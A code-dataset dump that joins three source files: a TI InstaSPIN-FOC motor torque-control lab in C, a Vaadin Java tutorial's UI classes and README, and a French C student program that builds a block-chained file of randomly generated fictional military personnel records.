* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
* THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
* OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
* OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
* --/COPYRIGHT--*/
//! \file solutions/instaspin_foc/src/proj_lab04a.c
//! \brief Using InstaSPIN�FOC only as a torque controller FPU32
//!
//! (C) Copyright 2011, Texas Instruments, Inc.
//! \defgroup PROJ_LAB04A PROJ_LAB04A
//@{
//! \defgroup PROJ_LAB04A_OVERVIEW Project Overview
//!
//! Running InstaSPIN�FOC only as a Torque controller FPU32
//!
// **************************************************************************
// the includes
// system includes
#include <math.h>
#include "main.h"
#ifdef FLASH
#pragma CODE_SECTION(mainISR,"ramfuncs");
#endif
// Include header files used in the main function
// **************************************************************************
// the defines
#define LED_BLINK_FREQ_Hz 5
//! \brief Defines the GPIO pin number for drv8301kit_revD Switch 2
//!
#define HAL_GPIO_SW2 GPIO_Number_12
#define HAL_GPIO_U_LED GPIO_Number_13
// **************************************************************************
// the globals
_iq gPotentiometer = _IQ(0.0);
_iq MID_VALUE = _IQ(0.4998779297);
_iq consta =_IQ(0.0);
_iq posHandler = _IQ(0.0);
_iq negHandler = _IQ(0.0);
_iq neuHandler = _IQ(0.0);
_iq resultHandler = _IQ(0.0);
bool gSw2 = false;
uint_least16_t gCounter_updateGlobals = 0;
bool Flag_Latch_softwareUpdate = true;
CTRL_Handle ctrlHandle;
#ifdef CSM_ENABLE
#pragma DATA_SECTION(halHandle,"rom_accessed_data");
#endif
HAL_Handle halHandle;
#ifdef CSM_ENABLE
#pragma DATA_SECTION(gUserParams,"rom_accessed_data");
#endif
USER_Params gUserParams;
HAL_PwmData_t gPwmData = {_IQ(0.0), _IQ(0.0), _IQ(0.0)};
HAL_AdcData_t gAdcData;
_iq gMaxCurrentSlope = _IQ(0.0);
#ifdef FAST_ROM_V1p6
CTRL_Obj *controller_obj;
#else
#ifdef CSM_ENABLE
#pragma DATA_SECTION(ctrl,"rom_accessed_data");
#endif
CTRL_Obj ctrl; //v1p7 format
#endif
uint16_t gLEDcnt = 0;
volatile MOTOR_Vars_t gMotorVars = MOTOR_Vars_INIT;
#ifdef FLASH
// Used for running BackGround in flash, and ISR in RAM
extern uint16_t *RamfuncsLoadStart, *RamfuncsLoadEnd, *RamfuncsRunStart;
#ifdef CSM_ENABLE
extern uint16_t *econst_start, *econst_end, *econst_ram_load;
extern uint16_t *switch_start, *switch_end, *switch_ram_load;
#endif
#endif
#ifdef DRV8301_SPI
// Watch window interface to the 8301 SPI
DRV_SPI_8301_Vars_t gDrvSpi8301Vars;
#endif
#ifdef DRV8305_SPI
// Watch window interface to the 8305 SPI
DRV_SPI_8305_Vars_t gDrvSpi8305Vars;
#endif
_iq gFlux_pu_to_Wb_sf;
_iq gFlux_pu_to_VpHz_sf;
_iq gTorque_Ls_Id_Iq_pu_to_Nm_sf;
_iq gTorque_Flux_Iq_pu_to_Nm_sf;
// **************************************************************************
// the functions
void main(void)
{
uint_least8_t estNumber = 0;
#ifdef FAST_ROM_V1p6
uint_least8_t ctrlNumber = 0;
#endif
// Only used if running from FLASH
// Note that the variable FLASH is defined by the project
#ifdef FLASH
// Copy time critical code and Flash setup code to RAM
// The RamfuncsLoadStart, RamfuncsLoadEnd, and RamfuncsRunStart
// symbols are created by the linker. Refer to the linker files.
memCopy((uint16_t *)&RamfuncsLoadStart,(uint16_t *)&RamfuncsLoadEnd,(uint16_t *)&RamfuncsRunStart);
#ifdef CSM_ENABLE
//copy .econst to unsecure RAM
if(*econst_end - *econst_start)
{
memCopy((uint16_t *)&econst_start,(uint16_t *)&econst_end,(uint16_t *)&econst_ram_load);
}
//copy .switch ot unsecure RAM
if(*switch_end - *switch_start)
{
memCopy((uint16_t *)&switch_start,(uint16_t *)&switch_end,(uint16_t *)&switch_ram_load);
}
#endif
#endif
// initialize the hardware abstraction layer
halHandle = HAL_init(&hal,sizeof(hal));
// check for errors in user parameters
USER_checkForErrors(&gUserParams);
// store user parameter error in global variable
gMotorVars.UserErrorCode = USER_getErrorCode(&gUserParams);
// do not allow code execution if there is a user parameter error
if(gMotorVars.UserErrorCode != USER_ErrorCode_NoError)
{
for(;;)
{
gMotorVars.Flag_enableSys = false;
}
}
// initialize the user parameters
USER_setParams(&gUserParams);
// set the hardware abstraction layer parameters
HAL_setParams(halHandle,&gUserParams);
// initialize the controller
#ifdef FAST_ROM_V1p6
ctrlHandle = CTRL_initCtrl(ctrlNumber, estNumber); //v1p6 format (06xF and 06xM devices)
controller_obj = (CTRL_Obj *)ctrlHandle;
#else
ctrlHandle = CTRL_initCtrl(estNumber,&ctrl,sizeof(ctrl)); //v1p7 format default
#endif
{
CTRL_Version version;
// get the version number
CTRL_getVersion(ctrlHandle,&version);
gMotorVars.CtrlVersion = version;
}
// set the default controller parameters
CTRL_setParams(ctrlHandle,&gUserParams);
// setup faults
HAL_setupFaults(halHandle);
// initialize the interrupt vector table
HAL_initIntVectorTable(halHandle);
// enable the ADC interrupts
HAL_enableAdcInts(halHandle);
// enable global interrupts
HAL_enableGlobalInts(halHandle);
// enable debug interrupts
HAL_enableDebugInt(halHandle);
// disable the PWM
HAL_disablePwm(halHandle);
#ifdef DRV8301_SPI
// turn on the DRV8301 if present
HAL_enableDrv(halHandle);
// initialize the DRV8301 interface
HAL_setupDrvSpi(halHandle,&gDrvSpi8301Vars);
#endif
#ifdef DRV8305_SPI
// turn on the DRV8305 if present
HAL_enableDrv(halHandle);
// initialize the DRV8305 interface
HAL_setupDrvSpi(halHandle,&gDrvSpi8305Vars);
#endif
// enable DC bus compensation
CTRL_setFlag_enableDcBusComp(ctrlHandle, true);
// compute scaling factors for flux and torque calculations
gFlux_pu_to_Wb_sf = USER_computeFlux_pu_to_Wb_sf();
gFlux_pu_to_VpHz_sf = USER_computeFlux_pu_to_VpHz_sf();
gTorque_Ls_Id_Iq_pu_to_Nm_sf = USER_computeTorque_Ls_Id_Iq_pu_to_Nm_sf();
gTorque_Flux_Iq_pu_to_Nm_sf = USER_computeTorque_Flux_Iq_pu_to_Nm_sf();
gPotentiometer = HAL_readPotentiometerData(halHandle);
//_iq gpotmax = 0.9997558594;
for(;;)
{
// Waiting for enable system flag to be set
while(!(gMotorVars.Flag_enableSys));
// Dis-able the Library internal PI. Iq has no reference now
CTRL_setFlag_enableSpeedCtrl(ctrlHandle, false);
// loop while the enable system flag is true
while(gMotorVars.Flag_enableSys)
{
CTRL_Obj *obj = (CTRL_Obj *)ctrlHandle;
// increment counters
gCounter_updateGlobals++;
// enable/disable the use of motor parameters being loaded from user.h
CTRL_setFlag_enableUserMotorParams(ctrlHandle,gMotorVars.Flag_enableUserParams);
// enable/disable Rs recalibration during motor startup
EST_setFlag_enableRsRecalc(obj->estHandle,gMotorVars.Flag_enableRsRecalc);
// enable/disable automatic calculation of bias values
CTRL_setFlag_enableOffset(ctrlHandle,gMotorVars.Flag_enableOffsetcalc);
if(CTRL_isError(ctrlHandle))
{
// set the enable controller flag to false
CTRL_setFlag_enableCtrl(ctrlHandle,false);
// set the enable system flag to false
gMotorVars.Flag_enableSys = false;
// disable the PWM
HAL_disablePwm(halHandle);
}
else
{
// update the controller state
bool flag_ctrlStateChanged = CTRL_updateState(ctrlHandle);
// enable or disable the control
CTRL_setFlag_enableCtrl(ctrlHandle, gMotorVars.Flag_Run_Identify);
if(flag_ctrlStateChanged)
{
CTRL_State_e ctrlState = CTRL_getState(ctrlHandle);
if(ctrlState == CTRL_State_OffLine)
{
// enable the PWM
HAL_enablePwm(halHandle);
}
else if(ctrlState == CTRL_State_OnLine)
{
if(gMotorVars.Flag_enableOffsetcalc == true)
{
// update the ADC bias values
HAL_updateAdcBias(halHandle);
}
else
{
// set the current bias
HAL_setBias(halHandle,HAL_SensorType_Current,0,_IQ(I_A_offset));
HAL_setBias(halHandle,HAL_SensorType_Current,1,_IQ(I_B_offset));
HAL_setBias(halHandle,HAL_SensorType_Current,2,_IQ(I_C_offset));
// set the voltage bias
HAL_setBias(halHandle,HAL_SensorType_Voltage,0,_IQ(V_A_offset));
HAL_setBias(halHandle,HAL_SensorType_Voltage,1,_IQ(V_B_offset));
HAL_setBias(halHandle,HAL_SensorType_Voltage,2,_IQ(V_C_offset));
}
// Return the bias value for currents
gMotorVars.I_bias.value[0] = HAL_getBias(halHandle,HAL_SensorType_Current,0);
gMotorVars.I_bias.value[1] = HAL_getBias(halHandle,HAL_SensorType_Current,1);
gMotorVars.I_bias.value[2] = HAL_getBias(halHandle,HAL_SensorType_Current,2);
// Return the bias value for voltages
gMotorVars.V_bias.value[0] = HAL_getBias(halHandle,HAL_SensorType_Voltage,0);
gMotorVars.V_bias.value[1] = HAL_getBias(halHandle,HAL_SensorType_Voltage,1);
gMotorVars.V_bias.value[2] = HAL_getBias(halHandle,HAL_SensorType_Voltage,2);
// enable the PWM
HAL_enablePwm(halHandle);
}
else if(ctrlState == CTRL_State_Idle)
{
// disable the PWM
HAL_disablePwm(halHandle);
gMotorVars.Flag_Run_Identify = false;
}
if((CTRL_getFlag_enableUserMotorParams(ctrlHandle) == true) &&
(ctrlState > CTRL_State_Idle) &&
(gMotorVars.CtrlVersion.minor == 6))
{
// call this function to fix 1p6
USER_softwareUpdate1p6(ctrlHandle);
}
}
}
if(EST_isMotorIdentified(obj->estHandle))
{
// set the current ramp
EST_setMaxCurrentSlope_pu(obj->estHandle,gMaxCurrentSlope);
gMotorVars.Flag_MotorIdentified = true;
if(Flag_Latch_softwareUpdate)
{
Flag_Latch_softwareUpdate = false;
USER_calcPIgains(ctrlHandle);
}
}
else
{
Flag_Latch_softwareUpdate = true;
// the estimator sets the maximum current slope during identification
gMaxCurrentSlope = EST_getMaxCurrentSlope_pu(obj->estHandle);
}
// when appropriate, update the global variables
if(gCounter_updateGlobals >= NUM_MAIN_TICKS_FOR_GLOBAL_VARIABLE_UPDATE)
{
// reset the counter
gCounter_updateGlobals = 0;
updateGlobalVariables_motor(ctrlHandle);
}
// update Iq reference
updateIqRef(ctrlHandle);
// enable/disable the forced angle
EST_setFlag_enableForceAngle(obj->estHandle,gMotorVars.Flag_enableForceAngle);
// enable or disable power warp
CTRL_setFlag_enablePowerWarp(ctrlHandle,gMotorVars.Flag_enablePowerWarp);
#ifdef DRV8301_SPI
HAL_writeDrvData(halHandle,&gDrvSpi8301Vars);
HAL_readDrvData(halHandle,&gDrvSpi8301Vars);
#endif
#ifdef DRV8305_SPI
HAL_writeDrvData(halHandle,&gDrvSpi8305Vars);
HAL_readDrvData(halHandle,&gDrvSpi8305Vars);
#endif
gSw2 = HAL_readGpio(halHandle, HAL_GPIO_SW2);
consta = HAL_readPotentiometerData(halHandle);
/* if(_IQabs(consta) < _IQabs(gPotentiometer))
{
negHandler =(consta * gpotmax)/gPotentiometer; //HAL_readPotentiometerData(halHandle);//
resultHandler = HAL_readPotentiometerData(halHandle);
}
else if(_IQabs(consta) == _IQabs(gPotentiometer))
{
neuHandler = _IQ(0.0);// HAL_readPotentiometerData(halHandle);
resultHandler = HAL_readPotentiometerData(halHandle);
}
else if(_IQabs(consta) > _IQabs(gPotentiometer))
{
//posHandler = //HAL_readPotentiometerData(halHandle);//(consta*gpotmax)/gPotentiometer;
resultHandler = HAL_readPotentiometerData(halHandle);
}*/
if(gSw2)
{
//U_LED
HAL_turnLedOn(halHandle,(GPIO_Number_e)HAL_Gpio_U_LED);
gMotorVars.IqRef_A = _IQmpy(consta,_IQ(-6.0));
}
else
{
HAL_turnLedOff(halHandle,(GPIO_Number_e)HAL_Gpio_U_LED);
gMotorVars.IqRef_A = _IQmpy(consta,_IQ(6.0));
}
} // end of while(gFlag_enableSys) loop
// disable the PWM
HAL_disablePwm(halHandle);
// set the default controller parameters (Reset the control to re-identify the motor)
CTRL_setParams(ctrlHandle,&gUserParams);
gMotorVars.Flag_Run_Identify = false;
} // end of for(;;) loop
} // end of main() function
interrupt void mainISR(void)
{
// toggle status LED
if(gLEDcnt++ > (uint_least32_t)(USER_ISR_FREQ_Hz / LED_BLINK_FREQ_Hz))
{
HAL_toggleLed(halHandle,(GPIO_Number_e)HAL_Gpio_LED2);
gLEDcnt = 0;
}
// acknowledge the ADC interrupt
HAL_acqAdcInt(halHandle,ADC_IntNumber_1);
// convert the ADC data
HAL_readAdcData(halHandle,&gAdcData);
// run the controller
CTRL_run(ctrlHandle,halHandle,&gAdcData,&gPwmData);
// write the PWM compare values
HAL_writePwmData(halHandle,&gPwmData);
// setup the controller
CTRL_setup(ctrlHandle);
return;
} // end of mainISR() function
void updateGlobalVariables_motor(CTRL_Handle handle)
{
CTRL_Obj *obj = (CTRL_Obj *)handle;
int32_t tmp;
// get the speed estimate
gMotorVars.Speed_krpm = EST_getSpeed_krpm(obj->estHandle);
// get the torque estimate
gMotorVars.Torque_Nm = USER_computeTorque_Nm(handle, gTorque_Flux_Iq_pu_to_Nm_sf, gTorque_Ls_Id_Iq_pu_to_Nm_sf);
// when calling EST_ functions that return a float, and fpu32 is enabled, an integer is needed as a return
// so that the compiler reads the returned value from the accumulator instead of fpu32 registers
// get the magnetizing current
tmp = EST_getIdRated(obj->estHandle);
gMotorVars.MagnCurr_A = *((float_t *)&tmp);
// get the rotor resistance
tmp = EST_getRr_Ohm(obj->estHandle);
gMotorVars.Rr_Ohm = *((float_t *)&tmp);
// get the stator resistance
tmp = EST_getRs_Ohm(obj->estHandle);
gMotorVars.Rs_Ohm = *((float_t *)&tmp);
// get the stator inductance in the direct coordinate direction
tmp = EST_getLs_d_H(obj->estHandle);
gMotorVars.Lsd_H = *((float_t *)&tmp);
// get the stator inductance in the quadrature coordinate direction
tmp = EST_getLs_q_H(obj->estHandle);
gMotorVars.Lsq_H = *((float_t *)&tmp);
// get the flux in V/Hz in floating point
tmp = EST_getFlux_VpHz(obj->estHandle);
gMotorVars.Flux_VpHz = *((float_t *)&tmp);
// get the flux in Wb in fixed point
gMotorVars.Flux_Wb = USER_computeFlux(handle, gFlux_pu_to_Wb_sf);
// get the controller state
gMotorVars.CtrlState = CTRL_getState(handle);
// get the estimator state
gMotorVars.EstState = EST_getState(obj->estHandle);
// Get the DC buss voltage
gMotorVars.VdcBus_kV = _IQmpy(gAdcData.dcBus,_IQ(USER_IQ_FULL_SCALE_VOLTAGE_V/1000.0));
return;
} // end of updateGlobalVariables_motor() function
void updateIqRef(CTRL_Handle handle)
{
_iq iq_ref = _IQmpy(gMotorVars.IqRef_A,_IQ(1.0/USER_IQ_FULL_SCALE_CURRENT_A));
// set the speed reference so that the forced angle rotates in the correct direction for startup
if(_IQabs(gMotorVars.Speed_krpm) < _IQ(0.01))
{
if(iq_ref < _IQ(0.0))
{
CTRL_setSpd_ref_krpm(handle,_IQ(-0.01));
}
else if(iq_ref > _IQ(0.0))
{
CTRL_setSpd_ref_krpm(handle,_IQ(0.01));
}
}
// Set the Iq reference that use to come out of the PI speed control
CTRL_setIq_ref_pu(handle, iq_ref);
return;
} // end of updateIqRef() function
//@} //defgroup
// end of file
| 60cde5c5855d4310d6feafeb049a37d3a9b9069b | [
"C++"
] | 1 | C++ | robocoder19/greenvolt | d7cae687f93d91614636ba61984049da4ae12cff | 797d79362c051c3ad1b7ff5037ba8cd0442e1a2c |
refs/heads/master | <repo_name>michischatz/vaadindev<file_sep>/src/java/com/example/vaadin/ui/NavigationTree.java
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package com.example.vaadin.ui;
/**
*
* @author Michael
*/
import com.example.vaadin.MyApplication;
import com.vaadin.ui.Tree;
import com.vaadin.ui.VerticalSplitPanel;
import com.vaadin.event.ItemClickEvent.ItemClickListener;
public class NavigationTree extends Tree {
public static final Object SHOW_ALL = "Alle anzeigen";
public static final Object SEARCH = "Suche";
public NavigationTree(MyApplication app){
addItem(SHOW_ALL);
addItem(SEARCH);
/*
* We want items to be selectable but do not want the user to be able to de-select an item.
*/
setSelectable(true);
setNullSelectionAllowed(false);
//Make application handle item click events
addListener((ItemClickListener) app);
}
public class ListView extends VerticalSplitPanel {
public ListView() {
//
}
}
}
<file_sep>/src/java/com/example/vaadin/ui/PersonList.java
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package com.example.vaadin.ui;
/**
*
* @author Michael
*/
import com.vaadin.ui.Table;
import com.example.vaadin.MyApplication;
import com.example.vaadin.data.Person;
import com.example.vaadin.data.PersonContainer;
import com.vaadin.terminal.ExternalResource;
import com.vaadin.ui.Component;
import com.vaadin.ui.Link;
import com.vaadin.ui.Table;
public class PersonList extends Table {
public PersonList(MyApplication app) {
// create some dummy data
// addContainerProperty("First Name", String.class, "Mark");
// addContainerProperty("Last Name", String.class, "Smith");
// addItem();
// addItem();
setSizeFull();
//Daten aus dem Generator aus dem data-Package laden
setContainerDataSource(app.getDataSource());
setVisibleColumns(PersonContainer.NATURAL_COL_ORDER);
setColumnHeaders(PersonContainer.COL_HEADERS_GERMAN);
/* Collapsing und Reordern erlauben */
setColumnCollapsingAllowed(true);
setColumnReorderingAllowed(true);
/*
* Make table selectable, react immediatedly to user events, and pass events to the
* controller (our main application)
*/
setSelectable(true);
setImmediate(true);
addListener((ValueChangeListener) app);
/*
* We don't want to allow users to de-select a row
*/
setNullSelectionAllowed(false);
// customize email column to have mailto: links using column generator
addGeneratedColumn("email", new ColumnGenerator() {
public Component generateCell(Table source, Object itemId, Object columnId) {
Person p = (Person) itemId;
Link l = new Link();
l.setResource(new ExternalResource("mailto:" + p.getEmail()));
l.setCaption(p.getEmail());
return l;
}
});
}
}
<file_sep>/README.md
vaadindev
=============
Das Tutorial von Vaadin unter https://vaadin.com/tutorial
nachgebaut zum lernen von <NAME>
Kapitel derzeit in Arbeit
-------
Tutorial ist beendet
Fortsetzung mit Datenbankanbindung https://vaadin.com/tutorial/sql folgt
Bereits erledigte Kapitel
-------
1. Introduction
2. Project setup
3. Application Skeleton
4. Data Binding Basics
5. Creating user interactions
6. Tuning the user experience
7. Building a Simple Theme
System
-------
* Netbeans 7.2
* Java EE 7 Update 7
* Vaadin 6.8.4 (latest Stabel)
* Apache Tomcat 7.0.27
* Windows 7 | b3167127cea9af12fa1c2152ef57137a0b11b20d | [
"Markdown",
"Java"
] | 3 | Java | michischatz/vaadindev | 404cc54bcab29adb781020fc5275e3df371b4e72 | b1a9e01323f0804e22186d56b83da1da608e282c |
refs/heads/master | <file_sep>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#define faux 0
#define vrai 1
typedef struct date{
char jour[4];
char mois[4];
char annee[4];
} date;
/**les_tableau_utilisé**/
char Groupe_Sanguin[8][5]={"O+","A+","B+","O-","A-","AB+","B-","AB-"};
char Region_militaire[7][25]={"1RM-Blida","2RM-Oran","3RM-Bechar","4RM-Ouargla","5RM-Constantine","6RM-Tamanrasset"};
char Force_armee[8][47]={"Armee_de_terre","Armee_de_l_air","Marine_nationale","Defense_aerienne_du_territoire","Gendarmerie_nationale","Garde_republicaine","Departement_du_renseignement_et_de_la_securite","Sante_militaire"};
char Grade[18][30]={"General_de_corps_d_armee","General-Major","General","Colonel","Lieutenant-colonel","Commandant","Capitaine","Lieutenant","Sous-lieutenant","Aspirant","Adjudant-chef","Adjudant","Sergentchef","Sergent","Caporal-chef","Caporal","Djoundi"};
char Wilaya_naissance[48][20]={"Adrar","Chlef","Laghouat","Oum El_Bouaghi","Batna","Bejaia","Biskra","Bechar","Blida","Bouira","Tamenrasset","Tebessa","Telemcen","Tiaret","Tizi_Ouzou","Alger","Djelfa","Jijel","Setif","Saida","Sakikda","Sidi Bel_Abbas","Annaba","Guelma","Constantine","Medea","Mostaganem","M'sila","Mascara","Ouargla","Oran","El_Bayedh","Illizi","Bordj Bou_Arreridj","Boumerdès","El_Taref","Tindouf","Tissemsilt","El_Oued","Khenchela","Souk_Ahras","Tipaza","Mila","Ain_Defla","Naama","Ain_Temouchent","Ghardaia","Relizane"};
char Alpha[26]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','K','R','S','T','U','V','W','X','Y','Z'};
/** DECLARATION DES TYPES : */
typedef int boolean ;
/** TYPE TBLOC : STRUCTURE DU BUFFER, OU BLOC DANS LE FICHIER */
typedef struct
{
char tab[1024];
int suiv;
}Tbloc;
/** TYPE TENTETE : STRUCTURE DE L'ENTETE DU FICHIER */
typedef struct
{
int tete;
int queue;
int pos_vide;
int nb_supp;
}Tentete;
/** TYPE LNOVC : STRUCTURE DU FICHIER : LISTE NON ORDONNE DE TAILLE VARIABLE AVEC CHEVAUCHEMENT */
typedef struct
{
FILE *fichier;
Tentete entete;
}LNOVC;
/**------------------------------------------------------------------------------------------------**/
/** Corps des modules d'implémentation du modèle du TP 2 sur les fichiers LNOVC */
/**------------------------------------ -----------------------------------------------------------*/
/**1*/ void ouvrir(LNOVC *f,char *nomfich,char *mode)///Ouverture d'un fichier en mode nouveau ou ancien
{
if ((strcmp(mode,"n")==0)||(strcmp(mode,"N")==0))///Fichier inexistant
{
f->fichier=fopen(nomfich,"wb+");///Mode d'écriture car nouveau fichier
///Initialisation de l'entete du fichier
f->entete.tete=0;
f->entete.queue=0;
f->entete.pos_vide=0;
f->entete.nb_supp=0;
fseek(f->fichier,0,SEEK_SET);
fwrite(&f->entete,sizeof(Tentete),1,f->fichier);///Ecriture de l'entete dans le bloc 0 du
fseek(f->fichier,0,SEEK_SET); ///fichier pour la sauvegarde en mémoire secondaire
}
else
{
if ((strcmp(mode,"a")==0)||(strcmp(mode,"A")==0))///Fichier existant
{
f->fichier=fopen(nomfich,"rb+");///Mode de lecture car ancien fichier
if ((f->fichier)!=NULL)
{
///Récuperation de l'entête a partir du bloc 0 du fichier (contenant l'entête)
fseek(f->fichier,0,SEEK_SET);
fread(&f->entete,sizeof(Tentete),1,f->fichier);
fseek(f->fichier,0,SEEK_SET);
}
else
{
printf("\nLE FICHIER N'EXISTE PAS.\n");
}
}
else
{
printf("\nENTREZ UN MODE D'OUVERTURE VALABLE.\n");
}
}
}
/**2*/ void fermer(LNOVC *f)///Fermeture d'un fichier
{
fclose(f->fichier);
}
/**3*/ void liredir(LNOVC *f,int i,Tbloc *buf)///Recuperation du contenu du bloc i du fichier dans buf
{
if (f->fichier!=NULL)
{
fseek(f->fichier,sizeof(Tentete)+(i-1)*sizeof(Tbloc),SEEK_SET);///Car le fichier contient le bloc 0 (entête)
fread(buf,sizeof(Tbloc),1,f->fichier);///On récupère le bloc de l'adresse correspondante du fichier
fseek(f->fichier,0,SEEK_SET);
}
else
{
printf("\nERREUR, FICHIER INEXISTANT.\n");
}
}
/**4*/ void ecriredir(LNOVC *f,int i,Tbloc buf)///Ecriture du contenu de buf dans le bloc i du fichier
{
fseek(f->fichier,sizeof(Tentete)+(i-1)*sizeof(Tbloc),SEEK_SET);///Car le fichier contient le bloc 0 (entete)
fwrite(&buf,sizeof(Tbloc),1,f->fichier);///On écrit le bloc dans le fichier à l'adresse correspondante
fseek(f->fichier,0,SEEK_SET);
}
/**5*/ int entete(LNOVC *f,int i)///Renvoie l'entete N°i du fichier
{
switch (i)
{
case 1:
return f->entete.tete;
break;
case 2:
return f->entete.queue;
break;
case 3:
return f->entete.pos_vide;
break;
case 4:
return f->entete.nb_supp;
break;
}
return 0;
}
/**6*/ void aff_entete(LNOVC *f,int i,int val)///Affecte val à l'entête N°i du fichier
{
switch (i)
{
case 1:
f->entete.tete=val;
break;
case 2:
f->entete.queue=val;
break;
case 3:
f->entete.pos_vide=val;
break;
case 4:
f->entete.nb_supp=val;
break;
};
fseek(f->fichier,0,SEEK_SET);///On accède au bloc 0 (entête)
fwrite(&f->entete,sizeof(Tentete),1,f->fichier);///Mise à jour de l'entete dans le fichier
fseek(f->fichier,0,SEEK_SET);
}
/**7*/ int allocbloc(LNOVC *f)///Alloue un bloc dans le fichier, et renvoie son adresse
{
Tbloc buf;
ecriredir(f,entete(f,2)+1,buf);///Ajoute un bloc vide au fichier à l'adresse (queue+1)
aff_entete(f,2,entete(f,2)+1);///Mise à jour de l'entete (queue)
aff_entete(f,3,0);///Mise à jour de la première position libre
if (entete(f,1)==0)///Si c'est le 1er bloc à insérer (fichier vide)
{
aff_entete(f,1,entete(f,1)+1);///On met à jour l'adresse de la nouvelle tête
}
else
{
liredir(f,entete(f,2)-1,&buf);///Récupération du dernier bloc (ancienne queue,avant allocation)
buf.suiv=entete(f,2);///Mise à jour de son suivant (vers le bloc alloué), pour préserver le chaînage
ecriredir(f,entete(f,2)-1,buf);///Ecriture de ce bloc dans le fichier (nouveau suivant)
}
return entete(f,2);///On renvoie l'adresse du bloc alloué (nouvelle queue)
}
/**Matricule*************************************************************************************/
char *matr()
{
int i;
static char m[6];
i = (rand() % (999999 - 111111)) + 111111;
sprintf(m,"%d",i);
return m;
}
/**Nom/Prénom************************************************************************************/
char *nom_pre()
{
int i=0,j=0,r=0;
i =(rand() % (30 - 4)) + 4;// rand()%(30)+4;
static char n_p[40];
while(j<i)
{
r =(rand() % (25 - 1)) + 1;// rand()%(25-0+1);
n_p[j]=Alpha[r];
j++;
}
n_p[i+1]='\0';
return n_p;
}
/**année_qui_n'est_pas_complet*******************************************************************/
int anneeb(int *an)
{
if (*an>1581)
{
if(*an%400==0)
{
return 1;
}
if((*an%4==0) && (*an%100 != 0) )
{
return 1;
}
else
{
return 0;
}
}
else
{
return 0;
}
}
/**la date_du_naissance*******************************************************************/
void date_naiss(date *d)
{
int ans,moi,jou;
char taille1[4]={0},taille2[4]={0},taille3[4]={0};
ans=(rand() % (1999 - 1940)) + 1940;//rand()%(1999-1940+1)+1940;
moi=(rand() % (12 - 1)) + 1;//rand()%(12)+1;
if (anneeb(&ans) == 1 )
{
if (moi==2)
{
jou = (rand() % (28 - 1)) + 1;//rand()%(28)+1;
}
else
{
jou = (rand() % (31 - 1)) + 1;//rand()%(31)+1;
}
}
else
{
if (moi==2)
{
jou = (rand() % (29 - 1)) + 1;//rand()%(29)+1;
}
else
{
jou= (rand() % (31 - 1)) + 1;//rand()%(31)+1;
}
}
itoa(ans,taille1,10);
itoa(moi,taille2,10);
itoa(jou,taille3,10);
strcpy(d->annee,taille1);
strcpy(d->mois,taille2);
strcpy(d->jour,taille3);
}
/**les_wiliya********************************************************************************/
char *wilaya()
{
int i ;
i = (rand() % (48 - 1)) + 1;//rand()%(48 +1);
return Wilaya_naissance[i];
}
/**les_groupe_sanguin************************************************************************/
char *grou_sang()
{
int i ;
i = (rand() % (8 - 1)) + 1;//rand()%(8 );
return Groupe_Sanguin[i];
}
/**grade*************************************************************************************/
char *grade()
{
int i ;
i =(rand() % (17 - 1)) + 1;// rand()%(17);
return Grade[i];
free(Grade[i]);
}
/**force armée*******************************************************************************/
char *force_arm()
{
int i ;
i = (rand() % (7 - 1)) + 1;//rand()%(7);
return Force_armee[i];
free(Force_armee[i]);
}
/**région_militaire***************************************************************************/
char *reg_mili()
{
int i ;
i =(rand() % (6 - 1)) + 1;// rand()%(6);
return Region_militaire[i];
free(Region_militaire[i]);
}
///Procédure d'affichage du contenu d'un fichier LNOVC
void ecritlnovc (char *nomfich)
{
LNOVC f;
Tbloc buf;
int p,i;
ouvrir(&f,nomfich,"a");
printf("\n-------------- Affichage du fichier ----------------");
if ((f.fichier)!=NULL)
{
//On commence par afficher les entêtes
printf("\nEntete 1 (Tete) : %d",entete(&f,1));
printf("\nEntete 2 (Queue) : %d",entete(&f,2));
printf("\nEntete 3 (Pos_vide): %d",entete(&f,3));
printf("\nEntete 4 (nb_sup) : %d",entete(&f,4));
p=entete(&f,1);//On récupère l'adresse de la tête
i=0;
if (p!=-1)
{
while (!(((p==entete(&f,2))&&((i==entete(&f,3)))))&&(p!=-1))
//Tant que (on est pas en même temps arrivé à la queue ET à la dernière position de la queue
//Ou que l'on a pas parcouru tout le fichier
{
liredir(&f,p,&buf);//On récupère le bloc
printf("\nBloc %d :\n ",p);
if (p==entete(&f,2))//Si l'on est arrivé à la queue
{
for (i=0;i<entete(&f,3);i++)//On parcourt la queue jusqu'à la première position vide du fichier
//et non tout le bloc
{
printf("%c",buf.tab[i]);
}
}
else
{
for (i=0;i<1024;i++)//Nous ne sommes pas à la queue, donc on parcourt tout le bloc
{
{
printf("%c",buf.tab[i]);
}
}
p=buf.suiv;;//On passe au bloc suivant
}
}
}
else
{
printf("IL N'Y A PAS DE BLOC DE DONNEES");
}
}
printf("\n----------------------------------------------------");
fermer(&f);
}
///insertion d'un nouvel enregistrement
void insertionlnovc(char *nomfich,char chaine1[1024])
{
LNOVC f;
Tbloc buf,buf1,buf2;//buf et buf2 sont déclarées ici malgré leur inutilité dans le programme car les enlever causerait
date d;
//des erreurs au niveau de l'éxécution
int i,j,trouv,m,q,p,k,tai;
char taille[3]={0};
srand(time(NULL));
ouvrir(&f,nomfich,"a");
{
p=entete(&f,2);//On récupère la queue du fichier
